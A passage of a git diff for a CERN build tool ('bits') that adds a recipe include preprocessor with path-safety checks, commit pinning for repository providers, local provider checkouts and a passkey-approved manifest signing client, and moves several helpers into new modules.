lcg.bits/gcc-toolchain.sh), so a plain `#include` directive would +# collide with them and try to splice a system header. `#!include` cannot appear +# in C or ordinary shell; it stays `#`-prefixed (so it is an inert comment if the +# preprocessor never runs) and echoes the existing header `!include` YAML tag. +# Only a full line of exactly this shape matches, so C includes, shell `#` +# comments, shebangs, and `# include …` prose are all left untouched. +INCLUDE_RE = re.compile( + r'^[ \t]*#!include[ \t]+(?:<([^>\n]+)>|"([^"\n]+)")[ \t]*$', + re.MULTILINE, +) +MAX_INCLUDE_DEPTH = 32 + + +def resolveIncludes(body, recipe_url, repo_dir=None, _visited=None, _depth=0): + """Splice ``#!include`` directives in a recipe *body* with the referenced file. + + This is a deliberately narrow, bits-owned preprocessor — NOT a full C + preprocessor (running shell through ``cpp`` mangles ``#`` comments, ``//`` in + URLs / ``${x//a/b}``, and predefined macros like ``linux``). It touches only + whole-line ``#!include <...>`` / ``#!include "..."`` directives and leaves every + other byte verbatim — crucially including the literal ``#include
`` + lines that recipe heredocs use to generate C test programs. + + Resolution mirrors the existing ``from:`` mechanism and C's two include forms: + ```` resolves under the recipes repo root (``$BITS_REPO_DIR``), ``"path"`` + relative to the including recipe's own directory. Inclusion is recursive with + cycle detection and a depth cap; a path that escapes its base (``..`` or an + absolute path) is rejected. + + The spliced text is returned verbatim, BEFORE variable substitution and hashing + run downstream — so an included file's content is expanded in the consumer's + context (``%(compiler)s`` etc.) and folds into the consumer package's hash, + exactly as if it had been written inline. + """ + if body is None or "#!include" not in body: + return body # fast path: nothing to do + if _depth > MAX_INCLUDE_DEPTH: + raise RuntimeError("#!include: nesting too deep (>%d) at %s" % (MAX_INCLUDE_DEPTH, recipe_url or "?")) + if _visited is None: + _visited = [] + if repo_dir is None: + repo_dir = os.environ.get("BITS_REPO_DIR") or os.path.dirname(recipe_url or "") or "." + recipe_dir = os.path.dirname(recipe_url or "") or "." + + def _splice(m): + angle, quoted = m.group(1), m.group(2) + rel = (angle if angle is not None else quoted).strip() + base = repo_dir if angle is not None else recipe_dir + base_abs = os.path.abspath(base) + path_abs = os.path.abspath(os.path.join(base_abs, rel)) + # Path safety: reject absolute references and any `..` escape outside base. + if os.path.isabs(rel) or not (path_abs == base_abs or path_abs.startswith(base_abs + os.sep)): + raise RuntimeError("#!include: unsafe path %r in %s" % (rel, recipe_url or "?")) + if path_abs in _visited: + raise RuntimeError("#!include: cyclic include: %s" % " -> ".join(_visited + [path_abs])) + try: + with open(path_abs) as f: + content = f.read() + except OSError as e: + raise RuntimeError("#!include: cannot open %r referenced in %s: %s" % (rel, recipe_url or "?", e)) + # Recurse so an included file may itself include (cycle-guarded by _visited). + return resolveIncludes(content, path_abs, repo_dir, _visited + [path_abs], _depth + 1) + + return INCLUDE_RE.sub(_splice, body) + + +def parseRecipe(reader, generatePackages=None, visited=None): + assert(reader.__call__) + err, spec, recipe = (None, None, None) + try: + d = reader() + header,recipe = d.split("---", 1) + # Splice any `#!include` directives in the body before anything else sees it, + # so the included text is variable-expanded and hashed as if written inline. + recipe = resolveIncludes(recipe, getattr(reader, "url", "") or "") + # YAML forbids '%' as the first character of a plain (unquoted) scalar because + # it is reserved for directives (e.g. %YAML, %TAG). Recipe authors may want + # to write "- %(name)s-%(version)s.patch" in patches: (and similar lists) + # for the same variable substitution that sources: already supports. Auto- + # quoting those list items here lets them write the bare %(…)s form without + # needing to remember YAML quoting rules. + header = re.sub( + r'^(\s*-\s+)(%[^\n\'"#\[\{].*)$', + lambda m: m.group(1) + '"' + m.group(2).replace('\\', '\\\\').replace('"', '\\"') + '"', + header, + flags=re.MULTILINE, + ) + # Free-text metadata (description, acknowledgment, license, url, homepage, + # source_url) is prose that routinely contains ": ", parentheses or other + # characters YAML forbids in an unquoted (plain) scalar — e.g. + # description: Foo: the bar + # trips "mapping values are not allowed here". Auto-quote the single-line value + # of these keys so authors need not remember YAML quoting, mirroring the + # %(…)s list-item quoting above. Values that are already quoted, a block scalar + # (|/>), an anchor/alias/tag, or an inline comment are left alone, and the + # transform is idempotent. For these prose keys a mid-value '#' is kept as text. + header = re.sub( + r'^(\s*(?:description|acknowledge?ment|license|url|homepage|source_url)\s*:[ \t]+)' + r'(?![|>&*!#"\'])(.*\S)[ \t]*$', + lambda m: m.group(1) + '"' + m.group(2).replace('\\', '\\\\').replace('"', '\\"') + '"', + header, + flags=re.MULTILINE, + ) + spec = yamlLoad(header) + if spec and "from" in spec: + basename = os.path.basename(getattr(reader, "url", "") or "") + filename = basename[:-3] if basename.endswith(".sh") else basename + repoDir = os.environ.get("BITS_REPO_DIR") + if visited is None: + visited = [] + if spec["from"] in visited: + raise RuntimeError(f" Cyclic Dependency: {' -> '.join(list(visited) + [spec['from']])}") + visited.append(spec["from"]) + parent_dir = os.path.join(repoDir, spec["from"]) + base_filename, pkgdir = resolveFilename({}, filename, parent_dir, generatePackages) + base_reader = getRecipeReader(base_filename, repoDir, generatePackages[parent_dir]) + err, base_spec, base_recipe = parseRecipe(base_reader, generatePackages, visited) + spec, recipe_append = handleMergePolicy(spec, base_spec) + recipe = recipe + base_recipe if recipe_append else recipe + validateSpec(spec) + except RuntimeError as e: + err = str(e) + except OSError as e: + err = str(e) + except SpecError as e: + err = "Malformed header for {}\n{}".format(reader.url, str(e)) + except yaml.YAMLError as e: + err = "Unable to parse {}\n{}".format(reader.url, str(e)) + except ValueError: + err = "Unable to parse %s. Header missing." % reader.url + except Exception as e: + err = "Unknown Exception in parseRecipe {}.\n{}".format(reader.url, e) + return err, spec, recipe + + +def getGeneratedPackages(configDir): + all_pkgs = {} + pkgDirs = getConfigPaths(configDir) + for pkgdir in pkgDirs: + dir_pkgs = {} + for vp in [x.split(os.sep)[-2] for x in glob(join(pkgdir, "*", "packages.py"))]: + packages_py = join(pkgdir, vp, "packages.py") + sys.path.insert(0, join(pkgdir, vp)) + try: + pkg = __import__("packages") + except (ImportError, SyntaxError) as e: + sys.path.pop(0) + dieOnError(True, "Failed to import generated-packages script %r: %s" % (packages_py, e)) + continue + try: + pkg.getPackages(dir_pkgs, pkgdir) + except Exception as e: + dieOnError(True, "Error running getPackages() in %r: %s" % (packages_py, e)) + sys.modules.pop("packages") + sys.path.pop(0) + all_pkgs[pkgdir] = dir_pkgs + return all_pkgs + + +def _coerce_to_list(val): + """Return *val* as a list. + + If *val* is a comma-separated string (spaces stripped), split it. + If it is already a list, return it unchanged. + """ + if isinstance(val, str): + return val.replace(" ", "").split(",") + return val + +def handleMergePolicy(override_spec, final_base): + mergePolicy = override_spec.get("merge_policy", {}) + remove_keys = _coerce_to_list(mergePolicy.get("remove", [])) + force_inherit = _coerce_to_list(mergePolicy.get("inherit", [])) + merge_keys = _coerce_to_list(mergePolicy.get("merge", [])) + recipe_append = "recipe" not in remove_keys + for k in remove_keys: + if k in final_base: + final_base.pop(k, None) + for key in force_inherit: + if key in final_base: + override_spec[key] = final_base[key] + override_spec.pop("merge_policy", None) + override_spec.pop("from", None) + for key in merge_keys: + if key not in override_spec: + raise ValueError(f"Merge key {key} not found in override spec") + if key not in final_base: + final_base[key] = override_spec[key] + else: + if isinstance(final_base[key], OrderedDict) and isinstance( + override_spec[key], OrderedDict + ): + merged = final_base[key].copy() + merged.update(override_spec[key]) + final_base[key] = merged + elif isinstance(final_base[key], list) and isinstance( + override_spec[key], list + ): + for x in override_spec[key]: + if x not in final_base[key]: + final_base[key].append(x) + else: + raise ValueError( + f"Merge key not allowed for {key} as it's of type {type(final_base.get(key, 'unknown'))}" + ) + override_spec.pop(key) + for k, v in override_spec.items(): + final_base[k] = override_spec[k] + return final_base, recipe_append diff --git a/bits_helpers/repo_provider.py b/bits_helpers/repo_provider.py index c0c53a87..4f2f4137 100644 --- a/bits_helpers/repo_provider.py +++ b/bits_helpers/repo_provider.py @@ -59,16 +59,10 @@ from bits_helpers.log import debug, info, warning, banner, dieOnError from bits_helpers.git import Git from bits_helpers.workarea import updateReferenceRepoSpec, logged_scm -from bits_helpers.utilities import ( - checkForFilename, - getConfigPaths, - getGeneratedPackages, - getRecipeReader, - parseRecipe, - resolve_spec_data, - symlink, - _parse_req_matcher, -) +from bits_helpers.utilities import resolve_spec_data, symlink +from bits_helpers.recipe import getGeneratedPackages, getRecipeReader, parseRecipe +from bits_helpers.paths import checkForFilename, getConfigPaths +from bits_helpers.matchers import _parse_req_matcher # Maximum provider-discovery iterations (guards against run-away recursion) MAX_PROVIDER_ITERATIONS = 20 @@ -138,10 +132,10 @@ def _check_for_shadows( warning( "%s is being prepended and will shadow %d recipe(s) already " "visible from %s: %s\n" - " To suppress this warning grant prepend explicitly in bits.rc:\n" - " provider_policy = %s:prepend\n" + " To suppress this warning grant prepend explicitly:\n" + " --provider-policy %s:prepend\n" " Or force the safe default:\n" - " provider_policy = %s:append", + " --provider-policy %s:append", label, len(shadowed), existing_dir, ", ".join(sorted(shadowed)), provider_name or "?", @@ -189,8 +183,8 @@ def _add_to_bits_path( warning( "Provider %r requested repository_position: prepend but no " "provider_policy entry grants it. Falling back to append (safe " - "default). To allow prepend, add to bits.rc:\n" - " provider_policy = %s:prepend", + "default). To allow prepend, pass:\n" + " --provider-policy %s:prepend", provider_name, provider_name, ) position = "append" @@ -352,6 +346,22 @@ def clone_or_update_provider( "commit_hash resolved to empty string for provider '%s' tag '%s' — " "refusing to construct checkout_dir to prevent clobbering the " "package cache." % (package, tag)) + + # M2: optional integrity pin. When the provider recipe declares ``commit:``, + # the resolved commit MUST match it — so a force-push or account compromise + # that moves ``tag`` to a different commit fails the build fail-closed instead + # of silently changing what is cloned and built. Accepts a full hash or a + # >= 7-char prefix; moving the pin is a deliberate, reviewed recipe change. + pin = str(spec.get("commit") or "").strip().lower() # blank/None -> no pin + if pin: + got = str(commit_hash).lower() + dieOnError(len(pin) < 7 or not got.startswith(pin), + "Repository provider '%s' is pinned to commit '%s' but tag '%s' " + "resolves to '%s' — refusing to build (the branch moved, or the " + "pin is malformed). Update the `commit:` pin deliberately if this " + "change is intended." % (package, pin, tag, commit_hash)) + debug("provider %s: commit %s verified against pin %s", package, short_hash, pin) + checkout_dir = join(cache_root, short_hash) # ── 3. Cache-hit check ─────────────────────────────────────────────── @@ -452,6 +462,7 @@ def load_always_on_providers( bits_providers: str = None, taps: dict = None, provider_policy: dict = None, + force_tracked: bool = False, ) -> dict: """Clone providers that must be loaded unconditionally before any dependency-graph traversal. @@ -530,9 +541,15 @@ def load_always_on_providers( continue debug("Always-loading provider '%s' from config dir", pkg) try: - checkout_dir, commit_hash = clone_or_update_provider( - spec, work_dir, reference_sources, fetch_repos, - ) + _local = None if force_tracked else _local_provider_dir(config_dir, pkg) + if _local: + checkout_dir, commit_hash = _local, _local_provider_hash(_local) + info("Using local checkout of provider '%s' at %s (commit %s)", + pkg, _local, commit_hash[:12]) + else: + checkout_dir, commit_hash = clone_or_update_provider( + spec, work_dir, reference_sources, fetch_repos, + ) _add_to_bits_path( checkout_dir, recipe_position=spec.get("repository_position", "append"), @@ -574,6 +591,58 @@ def cwd_is_recipe_dir() -> bool: return os.path.exists("defaults-release.sh") +def resolve_config_dir(args): + """Resolve ``args.configDir`` in place: when it is the default and the current + directory looks like a checked-out recipe repo, use ``.``; then abort with a + 'bits init' hint if no recipes are found. This is the read-only form used by + ``status``/``cvmfs-path``; the ``build`` path additionally network-bootstraps a + config dir before the same final check.""" + if not exists(args.configDir): + _default = os.environ.get("BITS_REPO_DIR", "alidist") + if args.configDir == _default and cwd_is_recipe_dir(): + debug("Recipe files detected in current directory; using '.' as config dir") + args.configDir = "." + dieOnError(not exists(args.configDir), + 'Cannot find recipes under directory "%s".\n' + 'Maybe you need to "cd" to the right directory or ' + 'you forgot to run "bits init"?' % args.configDir) + + +# ── Local provider shadowing ──────────────────────────────────────────────── + +def _local_provider_dir(config_dir, package): + """Return ``/`` when it is a local directory of recipes. + + Lets a repository provider that is already DECLARED (a ``provides_repository`` + recipe) but also checked out locally next to its recipe be used from that + checkout instead of cloned — mirroring how a locally checked-out package + shadows its source. Only a declared provider is ever shadowed; this never + scans for undeclared directories, so the recipe/package discovery path is + unchanged (the local dir simply takes the clone's place on ``BITS_PATH``). + """ + d = join(abspath(config_dir), package) + if os.path.isdir(d) and glob.glob(join(d, "*.sh")): + return d + return None + + +def _local_provider_hash(directory): + """Best-effort reproducible identity of a local provider checkout: the git + HEAD commit (plus a ``-dirty`` marker when the tree has changes), or + ``local`` when the directory is not a git checkout.""" + scm = Git() + err, out = scm.exec(("rev-parse", "HEAD"), directory=directory, check=False) + if err or not out.strip(): + return "local" + commit = out.strip() + err2, dirty = scm.exec(("status", "--porcelain"), directory=directory, check=False) + if not err2 and dirty.strip(): + warning("Local provider checkout %s has uncommitted changes; recording " + "provenance as %s-dirty.", directory, commit[:10]) + return commit + "-dirty" + return commit + + # ── Backward-compat bootstrap ─────────────────────────────────────────────── def bootstrap_default_config(args, work_dir: str) -> Optional[str]: @@ -758,6 +827,7 @@ def fetch_repo_providers_iteratively( overrides: dict = None, defaults: list = None, default_vars: dict = None, + force_tracked: bool = False, ) -> dict: """Discover, clone, and register all repository-provider packages reachable from the *packages* list. @@ -827,9 +897,15 @@ def fetch_repo_providers_iteratively( # ── New provider found ─────────────────────────────────────── if spec.get("provides_repository") and pkg not in cloned: - checkout_dir, commit_hash = clone_or_update_provider( - spec, work_dir, reference_sources, fetch_repos, - ) + _local = None if force_tracked else _local_provider_dir(config_dir, pkg) + if _local: + checkout_dir, commit_hash = _local, _local_provider_hash(_local) + info("Using local checkout of provider '%s' at %s (commit %s)", + pkg, _local, commit_hash[:12]) + else: + checkout_dir, commit_hash = clone_or_update_provider( + spec, work_dir, reference_sources, fetch_repos, + ) _add_to_bits_path( checkout_dir, recipe_position=spec.get("repository_position", "append"), diff --git a/bits_helpers/scm.py b/bits_helpers/scm.py index 6b181879..bea737b8 100644 --- a/bits_helpers/scm.py +++ b/bits_helpers/scm.py @@ -10,8 +10,6 @@ def checkedOutCommitName(self, directory): raise NotImplementedError def branchOrRef(self, directory): raise NotImplementedError - def lsRemote(self, remote): - raise NotImplementedError def listRefsCmd(self, repository): raise NotImplementedError def parseRefs(self, output): diff --git a/bits_helpers/sign_console.py b/bits_helpers/sign_console.py new file mode 100644 index 00000000..0e8340bd --- /dev/null +++ b/bits_helpers/sign_console.py @@ -0,0 +1,97 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Sign a manifest via the bits-console (cross-device, human-approved). + +Submits the manifest to the console backend, shows a QR/URL to approve on a +phone with a passkey, polls for the signature, and writes the .sig envelope. +The CLI is a thin requester — all authorization and signing happen server-side. +""" + +import argparse +import hashlib +import json +import time +import urllib.error +import urllib.request + +from bits_helpers import trust + +_TIMEOUT = 30 + + +def _post(url, data, ctype="application/octet-stream"): + req = urllib.request.Request(url, data=data, method="POST", + headers={"Content-Type": ctype}) + with urllib.request.urlopen(req, timeout=_TIMEOUT) as fh: + return json.load(fh) + + +def _get(url): + with urllib.request.urlopen(url, timeout=_TIMEOUT) as fh: + return json.load(fh) + + +def _print_qr(url): + try: + import qrcode + qr = qrcode.QRCode(border=1) + qr.add_data(url) + qr.make() + qr.print_ascii(invert=True) + except Exception: + pass # qrcode optional; the URL below is always printed + print("\nApprove on your phone: %s\n" % url) + + +def sign_via_console(backend, manifest_path, sig_path=None, timeout=300): + """Submit *manifest_path* to *backend*, wait for a human passkey approval, and + write the signature envelope to *sig_path* (default: .sig).""" + base = backend.rstrip("/") + with open(manifest_path, "rb") as fh: + body = fh.read() + local_digest = hashlib.sha256(body).hexdigest() + resp = _post(base + "/sign/cli/request", body) + # Cross-check the digest the backend reports against our own bytes. + if resp.get("digest") != local_digest: + raise SystemExit("backend digest %s != local %s" % (resp.get("digest"), local_digest)) + print("digest %s groups: %s" + % (local_digest, ", ".join(resp.get("groups", [])))) + _print_qr(resp["approve_url"]) + print("Waiting for approval (Ctrl-C to cancel) ...", flush=True) + deadline = time.time() + timeout + while time.time() < deadline: + res = _get(base + "/sign/cli/%s/result" % resp["request_id"]) + status = res.get("status") + if status == "signed": + env = res["envelope"] + # Do NOT trust the backend blindly: verify the envelope over OUR bytes + # against the shipped trust anchor before writing it. + kid = trust.verify_bytes(body, env, trust.load_trusted_keys()) + if not kid: + raise SystemExit("signature does not verify against the trust anchor") + out = sig_path or (manifest_path + ".sig") + with open(out, "w") as fh: + json.dump(env, fh) + print("signed by %s (key %s) -> %s" % (res.get("signed_by"), kid, out)) + return out + if status == "denied": + raise SystemExit("approval was denied") + time.sleep(2) + raise SystemExit("timed out waiting for approval") + + +def main(argv=None): + ap = argparse.ArgumentParser( + description="Sign a manifest via bits-console (human passkey approval).") + ap.add_argument("manifest", help="the common-manifest JSON to sign") + ap.add_argument("--console", required=True, + help="bits-console backend URL (e.g. https://bits-console.web.cern.ch)") + ap.add_argument("-o", "--sig", default=None, + help="output .sig path (default: .sig)") + ap.add_argument("--timeout", type=int, default=300, help="seconds to wait") + a = ap.parse_args(argv) + sign_via_console(a.console, a.manifest, a.sig, a.timeout) + + +if __name__ == "__main__": + main() diff --git a/bits_helpers/stats.py b/bits_helpers/stats.py index 75420a2d..c51a8f28 100644 --- a/bits_helpers/stats.py +++ b/bits_helpers/stats.py @@ -20,20 +20,13 @@ from glob import glob from os.path import join, isfile -from bits_helpers.build_stats import default_stats_path, STATS_FILENAME +from bits_helpers.build_stats import default_stats_path, STATS_FILENAME, parse_trace from bits_helpers.log import error, info +from bits_helpers.utilities import human_bytes # ── formatting helpers ────────────────────────────────────────────────────── -def human_bytes(n): - n = float(n or 0) - for unit in ("B", "KiB", "MiB", "GiB", "TiB"): - if n < 1024 or unit == "TiB": - return ("%.0f %s" % (n, unit)) if unit == "B" else ("%.1f %s" % (n, unit)) - n /= 1024.0 - - def human_time(seconds): s = int(seconds or 0) h, rem = divmod(s, 3600) @@ -90,12 +83,8 @@ def find_trace(work_dir, package): def trace_metrics(path): """Derive {avg_cpu, peak_cpu, peak_rss, peak_threads, cpu_seconds, duration} from a monitor trace, or None when it is unusable.""" - try: - with open(path) as fh: - samples = json.load(fh) - except (OSError, ValueError): - return None - if not isinstance(samples, list) or not samples: + samples = parse_trace(path) + if samples is None: return None prev_t = 0 diff --git a/bits_helpers/status.py b/bits_helpers/status.py index 2e130ab8..1ce1a7bd 100644 --- a/bits_helpers/status.py +++ b/bits_helpers/status.py @@ -30,26 +30,25 @@ import sys from collections import OrderedDict from glob import glob -from os.path import abspath, basename, dirname, exists, join +from os.path import abspath, basename, dirname, join from pathlib import Path from typing import Dict, List, Optional, Tuple from bits_helpers.git import Git from bits_helpers.sl import Sapling from bits_helpers.log import debug, info, warning, banner +from bits_helpers.packages import getPackageList from bits_helpers.utilities import ( - SHARED_ARCH, - compute_combined_arch, - effective_arch, - getPackageList, - parseDefaults, prunePaths, - readDefaults, resolve_tag, topological_sort, ver_rev, - detectArch, - validateDefaults, +) +from bits_helpers.defaults import parseDefaults, readDefaults, validateDefaults +from bits_helpers.arch import ( + SHARED_ARCH, + compute_combined_arch, + effective_arch, ) from bits_helpers.workarea import updateReferenceRepoSpec @@ -356,7 +355,8 @@ def _emit_json(rows: List[dict], architecture: str) -> None: def doStatus(args, parser) -> None: """Resolve the dependency tree and report the build state of each package.""" # Deferred heavy imports (build.py pulls in jinja2, analytics, etc.) - from bits_helpers.build import storeHashes, storeHook, hash_local_changes + from bits_helpers.build import storeHook, hash_local_changes + from bits_helpers.hashing import storeHashes from bits_helpers.log import dieOnError from bits_helpers.git import git @@ -366,16 +366,8 @@ def doStatus(args, parser) -> None: work_dir = abspath(args.workDir) prunePaths(work_dir) - if not exists(args.configDir): - from bits_helpers.repo_provider import cwd_is_recipe_dir - _default_config_dir = os.environ.get("BITS_REPO_DIR", "alidist") - if args.configDir == _default_config_dir and cwd_is_recipe_dir(): - debug("Recipe files detected in current directory; using '.' as config dir") - args.configDir = "." - dieOnError(not exists(args.configDir), - 'Cannot find recipes under directory "%s".\n' - 'Maybe you need to "cd" to the right directory or ' - 'you forgot to run "bits init"?' % args.configDir) + from bits_helpers.repo_provider import resolve_config_dir + resolve_config_dir(args) # ── Defaults and overrides ───────────────────────────────────────────────── defaults_reader = lambda: readDefaults( diff --git a/bits_helpers/store_integrity.py b/bits_helpers/store_integrity.py index a53f4dea..0b92c12b 100644 --- a/bits_helpers/store_integrity.py +++ b/bits_helpers/store_integrity.py @@ -56,7 +56,8 @@ from bits_helpers.checksum import checksum_file from bits_helpers.log import debug, warning, error -from bits_helpers.utilities import resolve_store_path, effective_arch, ver_rev +from bits_helpers.utilities import resolve_store_path, ver_rev +from bits_helpers.arch import effective_arch # Sub-directory inside $WORK_DIR that holds all ledger files. # Kept separate from TARS/ so that it is clearly local-only and is not diff --git a/bits_helpers/store_stats.py b/bits_helpers/store_stats.py index ae0ab5a3..dd0bf9ab 100644 --- a/bits_helpers/store_stats.py +++ b/bits_helpers/store_stats.py @@ -160,7 +160,6 @@ def push_store_gauges(s3_client, bucket, monitor_url, work_dir=None, only via the `bits store-stats --trust-manifest` CLI. Without it (or if the manifests are absent/unverifiable), builds degrade to uncertified. """ - import urllib.request try: hash_to_build = {} if work_dir: @@ -190,11 +189,8 @@ def push_store_gauges(s3_client, bucket, monitor_url, work_dir=None, debug("store-stats: trust-manifest derivation skipped: %s", exc) if signed: stats = summarise(objects, hash_to_build, signed) - req = urllib.request.Request( - monitor_url.rstrip("/") + "/api/v1/import/prometheus", - data=to_prometheus(stats).encode("utf-8"), - headers={"Content-Type": "text/plain"}, method="POST") - urllib.request.urlopen(req, timeout=15).close() + from bits_helpers.metrics import push_prometheus + push_prometheus(monitor_url, to_prometheus(stats), timeout=15) info("store-stats: pushed store gauges to %s (%d objects, %d arch)", monitor_url, stats["total_objects"], len(stats["arch"])) return True @@ -278,13 +274,9 @@ def doStoreStats(args, parser): murl = (getattr(args, "monitorUrl", None) or os.environ.get("METRICS_URL") or "").strip().rstrip("/") if murl: - import urllib.request + from bits_helpers.metrics import push_prometheus try: - req = urllib.request.Request( - murl + "/api/v1/import/prometheus", - data=to_prometheus(stats).encode("utf-8"), - headers={"Content-Type": "text/plain"}, method="POST") - urllib.request.urlopen(req, timeout=15).close() + push_prometheus(murl, to_prometheus(stats), timeout=15) banner("store-stats: pushed gauges to %s", murl) except Exception as exc: # never fail on a metrics push warning("store-stats: metrics push failed: %s", exc) diff --git a/bits_helpers/sync.py b/bits_helpers/sync.py index ccf2db47..0383997b 100644 --- a/bits_helpers/sync.py +++ b/bits_helpers/sync.py @@ -15,7 +15,8 @@ from bits_helpers.cmd import execute from bits_helpers.log import debug, info, error, warning, dieOnError, ProgressPrint -from bits_helpers.utilities import resolve_store_path, resolve_links_path, symlink, effective_arch, ver_rev +from bits_helpers.utilities import resolve_store_path, resolve_links_path, symlink, ver_rev +from bits_helpers.arch import effective_arch # Default S3 endpoint. Kept for backward compatibility with aliBuild: when no @@ -197,7 +198,7 @@ def resolve_and_export_s3_config(endpoint=None, access_key=None, secret_key=None 4. the built-in default. The resolved values are written back into os.environ under their canonical names so that the boto3 client (Boto3RemoteSync) and the - `bits_helpers.upload_cmd` subprocess spawned by --pipeline all see the same + `bits_helpers.upload_cmd` subprocess all see the same connection without threading secrets through the command line. Backward compatible: with no --s3-* flags and no env vars, the endpoint @@ -248,7 +249,7 @@ def remote_from_url(read_url, write_url, architecture, work_dir, insecure=False, s3_region=None, s3_addressing_style=None): """Parse remote store URLs and return the correct RemoteSync instance for them.""" # For S3-backed stores, resolve + export the connection config before any S3 - # backend is built, so boto3 and the --pipeline subprocess share one + # backend is built, so boto3 and the upload subprocess share one # endpoint/credentials. No-op for non-S3 stores (rsync/cvmfs/https). if (read_url or "").startswith(("s3://", "b3://")) or \ (write_url or "").startswith(("s3://", "b3://")): @@ -295,7 +296,24 @@ def _writer_from_url(write_url, architecture, work_dir): return RsyncRemoteSync(write_url, write_url, architecture, work_dir) -class DualRemoteSync: +class RemoteSync: + """Base for remote-store backends. Supplies documented no-op defaults for the + optional STORE-METADATA queries (ADR-0005 rev-index markers and content-object + listings), so a caller may invoke them on ANY backend without hasattr/getattr + reflection — a backend that records no such metadata simply reports 'nothing'. + Concrete fetch/upload behaviour is defined by each subclass (NoRemoteSync + implements it as no-ops).""" + + def read_rev_markers(self, *args, **kwargs): + """{revision: hash} rev-index markers recorded in the store, or {}.""" + return {} + + def list_store_tarballs(self, *args, **kwargs): + """Store tarball object names for an (architecture, hash), or [].""" + return [] + + +class DualRemoteSync(RemoteSync): """Read packages from one backend, upload freshly-built ones to another. Used when packages are recalled from a read-only store (e.g. a CVMFS mount) @@ -336,37 +354,36 @@ def fetch_tarball(self, spec): def fetch_symlinks(self, spec): return self.reader.fetch_symlinks(spec) - def _first_supporting(self, method, default, *args, **kwargs): - """Call *method* on the first backend that implements it, reader before writer. + def read_rev_markers(self, *args, **kwargs): + return self._first_nonempty( + self.reader.read_rev_markers, self.writer.read_rev_markers, {}, *args, **kwargs) - Store metadata (ADR-0005 rev-index markers, content-object listings) lives in - the STORE, and a read-only reader (e.g. HttpRemoteSync) may not - implement the lookup at all. In the common ``--remote-store https://…::rw`` - setup both sides are the very same bucket (http read URL + b3 writer); in an - http-read/s3-write setup the metadata only ever exists on the writer. + def list_store_tarballs(self, *args, **kwargs): + return self._first_nonempty( + self.reader.list_store_tarballs, self.writer.list_store_tarballs, [], *args, **kwargs) - Delegating to the reader alone silently returned the empty default, so the - revision counter never saw the markers: it could not reuse the recorded - revision, took a stale (revision, hash) pair from the signed manifest as - "revision busy", assigned a fresh revision N+1, and then unpacked revision N's - tarball into the N+1 install root — failing every reused package. - """ - for backend in (self.reader, self.writer): - fn = getattr(backend, method, None) - if fn is None: - continue + @staticmethod + def _first_nonempty(reader_fn, writer_fn, default, *args, **kwargs): + """The reader's answer if it is non-empty, else the writer's. Store metadata + (ADR-0005 rev-index markers, content-object listings) lives on whichever + backend actually holds it; a read-only reader (an http / CVMFS mount) keeps + none and returns the empty default, which must then fall through to the + writer. Delegating to the reader alone silently returned empty, so the + revision counter never saw the markers: it reused a stale (revision, hash) + pair, assigned a fresh revision N+1, then unpacked revision N's tarball into + the N+1 install root — failing every reused package. Best-effort: a backend + that errors is skipped.""" + for fn in (reader_fn, writer_fn): try: - return fn(*args, **kwargs) + result = fn(*args, **kwargs) except Exception as exc: # best-effort supplement; try the other backend - debug("%s failed on %s (%s)", method, type(backend).__name__, exc) + debug("rev-metadata query failed on %s (%s)", + getattr(fn, "__qualname__", fn), exc) + result = None + if result: + return result return default - def read_rev_markers(self, *args, **kwargs): - return self._first_supporting("read_rev_markers", {}, *args, **kwargs) - - def list_store_tarballs(self, *args, **kwargs): - return self._first_supporting("list_store_tarballs", [], *args, **kwargs) - def fetch_source(self, *args, **kwargs): return self.reader.fetch_source(*args, **kwargs) @@ -401,7 +418,7 @@ def _source_remote_path(url_checksum, filename): return "SOURCES/cache/{}/{}/{}".format(url_checksum[:2], url_checksum, filename) -class NoRemoteSync: +class NoRemoteSync(RemoteSync): """Helper class which does not do anything to sync""" def fetch_symlinks(self, spec) -> None: pass @@ -425,7 +442,7 @@ def __str__(self): return "only %d out of %d bytes downloaded" % (self.downloaded, self.size) -class HttpRemoteSync: +class HttpRemoteSync(RemoteSync): def __init__(self, remoteStore, architecture, workdir, insecure) -> None: self.remoteStore = remoteStore self.writeStore = "" @@ -697,7 +714,7 @@ def upload_source(self, local_path, url_checksum, filename) -> None: pass # HTTP backend is read-only; uploads must use rsync/S3/boto3 -class RsyncRemoteSync: +class RsyncRemoteSync(RemoteSync): """Helper class to sync package build directory using RSync.""" def __init__(self, remoteStore, writeStore, architecture, workdir) -> None: @@ -783,14 +800,11 @@ def upload_symlinks_and_tarball(self, spec) -> None: def upload_shell_command(self, spec): """Return an inline shell command that uploads *spec*'s tarball and symlinks. - Used by --pipeline Makeflow .upload rules so that the upload runs as a - separate Makeflow target, concurrently with downstream package builds. Returns None when no write store is configured. """ if not self.writeStore: return None - # Emit the script as a single shell -c '...' invocation so Makeflow can - # embed it directly in the Makeflow file without a wrapper script. + # Emit the script as a single shell -c '...' invocation. script = self._upload_script(spec).replace("'", "'\\''") return "bash -e -c '{}'".format(script) @@ -821,7 +835,7 @@ def upload_source(self, local_path, url_checksum, filename) -> None: dieOnError(err, "Unable to upload source archive to store.") -class S3RemoteSync: +class S3RemoteSync(RemoteSync): """Sync package build directory from and to S3 using s3cmd. s3cmd must be installed separately in order for this to work. @@ -962,7 +976,6 @@ def upload_shell_command(self, spec) -> "str | None": """Return an inline shell command that uploads this package's artifacts. Returns None if there is no writable store configured. - Used by the Makeflow .upload rule when --pipeline is active. """ if not self.writeStore: return None @@ -996,7 +1009,7 @@ def upload_source(self, local_path, url_checksum, filename) -> None: dieOnError(err, "Unable to upload source archive to store.") -class Boto3RemoteSync: +class Boto3RemoteSync(RemoteSync): """Sync package build directory from and to S3 using boto3. As boto3 doesn't support Python 2, this class can only be used under Python @@ -1387,7 +1400,6 @@ def upload_shell_command(self, spec) -> "str | None": """Return a shell command that uploads this package's artifacts via upload_cmd.py. Returns None if there is no writable store configured. - Used by the Makeflow .upload rule when --pipeline is active. The actual upload logic lives in bits_helpers/upload_cmd.py, which reads PKGNAME/PKGVERSION/PKGREVISION/PKGHASH from the environment and accepts the store URLs as CLI arguments. diff --git a/bits_helpers/tar_template.sh b/bits_helpers/tar_template.sh deleted file mode 100644 index 10e054e1..00000000 --- a/bits_helpers/tar_template.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/usr/bin/env bash -# tar_template.sh -- create the tarball and main dist symlink for a package. -# -# This script is used by the Makeflow .tar rule when --pipeline is active. -# It runs concurrently with the downstream .build rules, so that tarball -# creation does not block the next package from starting. -# 